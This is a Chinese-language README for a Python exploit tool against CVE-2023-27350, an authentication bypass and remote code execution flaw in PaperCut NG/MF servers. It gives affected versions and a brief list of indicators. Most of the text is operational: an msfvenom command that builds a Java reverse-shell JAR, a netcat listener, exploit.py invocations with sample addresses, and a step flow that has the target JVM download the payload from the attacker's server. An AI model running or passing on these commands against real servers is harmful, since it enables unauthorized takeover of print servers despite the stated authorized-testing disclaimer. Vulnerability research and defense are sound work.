此漏洞利用基于CVE-2023-27350,并建立在horizon3ai和Metasploit模块的原始漏洞利用之上。
针对 PaperCut NG/MF 中关键认证绕过和远程代码执行漏洞的独立 Python 利用工具。CVSS 评分 9.8。
CVE-2023-27350 影响 20.1.7、21.2.11 和 22.0.9 之前的 PaperCut NG 和 MF 版本。该漏洞允许未经身份验证的攻击者访问 /app?service=page/SetupCompleted 端点——一个本应仅在初始安装期间可访问的设置页面——并在没有任何凭据的情况下获取有效的管理会话。
拥有管理员权限后,攻击者可以启用 PaperCut 的打印脚本机制,并注入由服务器 JVM 执行的任意代码,从而在服务用户上下文中实现完全远程代码执行。
| 分支 | 修复版本 |
|---|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
18.x 及更早版本未获得官方补丁。
此利用工具基于两个公开实现的分析开发:
Runtime.exec() 并传入纯字符串来运行命令Runtime.exec(String) 不处理 shell 元字符(>&、|、0>&1),导致反向 shell 载荷无效。脚本还硬编码了打印机 ID(l1001)并检查仅限英文的成功字符串,在非英文实例上会失败exploit/multi/http/papercut_ng_rceURLClassLoader 将 Metasploit JAR 加载到 JVM 中,避免任何 shell 依赖ncPython 3.x
requests
msfvenom(Metasploit 框架的一部分)
nc(netcat)
pip install requests
1. 生成 JAR 载荷
msfvenom -p java/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
-f jar -o payload.jar
2. 启动监听器
nc -lvnp <SHELL_PORT>
3. 运行利用工具
python exploit.py \
-u http://<TARGET>:9191 \
-j payload.jar \
-lh <YOUR_IP> \
-lp <HTTP_PORT> \
-rp <SHELL_PORT>
示例:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
1. 通过 /app?service=page/SetupCompleted 绕过认证
↓
2. 无需凭据获取管理员 JSESSIONID
↓
3. 选择 [模板打印机] (l1001)
↓
4. 将 RhinoJS 脚本注入打印脚本字段
↓
5. 脚本创建指向我们 HTTP 服务器的 URLClassLoader
↓
6. PaperCut JVM 下载并执行 payload.jar
↓
7. 反向 shell
/app?service=page/SetupCompletedprint-and-device.script.enabled 和 print.script.sandboxed 设置(版本 >= 19)URLClassLoader 实例化此利用工具仅供教育目的和授权使用(渗透测试、CTF、实验室环境)。未经明确许可对系统进行未授权使用是非法的。作者不对任何滥用行为负责。
| 参数 | 描述 | 默认值 |
|---|
-u / --url | PaperCut 基础 URL | 必需 |
-j / --jar | payload.jar 的路径 | 必需 |
-lh / --lhost | 你的 IP(目标将回连到此 IP) | 必需 |
-lp / --lport | 提供 JAR 的 HTTP 端口 | 9090 |
-rp / --rport | 反向 shell 端口 | 4444 |